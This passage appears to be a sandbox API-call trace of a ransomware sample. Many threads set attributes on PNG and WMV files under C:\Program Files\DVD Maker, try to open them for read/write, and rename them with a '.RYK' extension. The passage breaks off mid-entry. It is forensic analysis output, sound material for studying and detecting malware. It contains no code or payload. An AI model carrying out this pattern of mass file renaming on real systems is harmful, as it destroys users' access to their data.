	[0231.172] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\sports_disc_mask.png", dwFileAttributes=0x80) returned 0
	[0231.173] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\sports_disc_mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sports_disc_mask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0231.173] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0231.173] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\sports_disc_mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sports_disc_mask.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\sports_disc_mask.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sports_disc_mask.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1228
	os_tid = 0x1950

	[0231.372] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png", dwFileAttributes=0x80) returned 0
	[0231.372] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0231.373] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0231.373] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576black.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576black.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1229
	os_tid = 0x1954

	[0231.375] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png", dwFileAttributes=0x80) returned 0
	[0231.375] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576_91n92.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0231.376] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0231.376] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576_91n92.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576_91n92.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1230
	os_tid = 0x1958

	[0231.377] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\15x15dot.png", dwFileAttributes=0x80) returned 0
	[0231.377] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0231.378] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0231.378] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\15x15dot.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\15x15dot.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\15x15dot.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1231
	os_tid = 0x195c

	[0231.379] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720x480icongraphic.png", dwFileAttributes=0x80) returned 0
	[0231.379] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720x480icongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720x480icongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0231.379] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0231.379] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720x480icongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720x480icongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720x480icongraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720x480icongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1232
	os_tid = 0x1960

	[0231.381] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720_480shadow.png", dwFileAttributes=0x80) returned 0
	[0231.381] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720_480shadow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720_480shadow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0231.381] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0231.381] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720_480shadow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720_480shadow.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720_480shadow.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720_480shadow.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1233
	os_tid = 0x1964

	[0231.382] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0231.383] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0231.383] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0231.383] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1234
	os_tid = 0x1968

	[0231.384] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0231.384] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0231.385] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0231.385] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1235
	os_tid = 0x196c

	[0231.386] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0231.386] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0231.386] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0231.387] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1236
	os_tid = 0x1970

	[0231.388] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0231.388] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0231.388] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0231.389] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1237
	os_tid = 0x1974

	[0231.391] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0231.391] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0231.391] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0231.391] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1238
	os_tid = 0x1978

	[0231.393] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0231.393] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0231.393] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0231.394] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1239
	os_tid = 0x197c

	[0231.395] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\photograph.png", dwFileAttributes=0x80) returned 0
	[0231.395] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\photograph.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\photograph.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0231.395] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0231.395] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\photograph.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\photograph.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\photograph.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\photograph.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1240
	os_tid = 0x1980

	[0231.650] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-background.png", dwFileAttributes=0x80) returned 0
	[0231.650] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0231.650] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0231.650] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-background.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-background.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-background.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1241
	os_tid = 0x1984

	[0231.651] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png", dwFileAttributes=0x80) returned 0
	[0231.652] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0231.652] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0231.652] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-highlight.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-highlight.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1242
	os_tid = 0x1988

	[0231.653] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-image-inset.png", dwFileAttributes=0x80) returned 0
	[0231.653] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-image-inset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-image-inset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0231.654] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0231.654] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-image-inset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-image-inset.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-image-inset.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-image-inset.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1243
	os_tid = 0x198c

	[0231.655] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png", dwFileAttributes=0x80) returned 0
	[0231.655] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-back-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0231.656] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0231.656] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-back-static.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-back-static.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1244
	os_tid = 0x1990

	[0231.657] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png", dwFileAttributes=0x80) returned 0
	[0231.657] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-next-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0231.657] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0231.657] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-next-static.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-next-static.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1245
	os_tid = 0x1994

	[0231.659] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png", dwFileAttributes=0x80) returned 0
	[0231.660] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-previous-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0231.660] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0231.660] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-previous-static.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-previous-static.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1246
	os_tid = 0x1998

	[0231.661] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png", dwFileAttributes=0x80) returned 0
	[0231.662] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-bullet.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0231.662] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0231.662] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-bullet.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-bullet.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1247
	os_tid = 0x199c

	[0231.663] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png", dwFileAttributes=0x80) returned 0
	[0231.663] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0231.664] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0231.664] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-highlight.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-highlight.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1248
	os_tid = 0x19a0

	[0231.665] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\content-background.png", dwFileAttributes=0x80) returned 0
	[0231.665] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\content-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0231.665] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0231.665] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\content-background.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\content-background.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\content-background.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1249
	os_tid = 0x19a4

	[0231.667] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\header-background.png", dwFileAttributes=0x80) returned 0
	[0231.667] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\header-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\header-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0231.667] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0231.667] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\header-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\header-background.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\header-background.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\header-background.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1250
	os_tid = 0x19a8

	[0231.673] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport.png", dwFileAttributes=0x80) returned 0
	[0231.673] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0231.673] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0231.673] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1251
	os_tid = 0x19ac

	[0231.740] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport.wmv", dwFileAttributes=0x80) returned 0
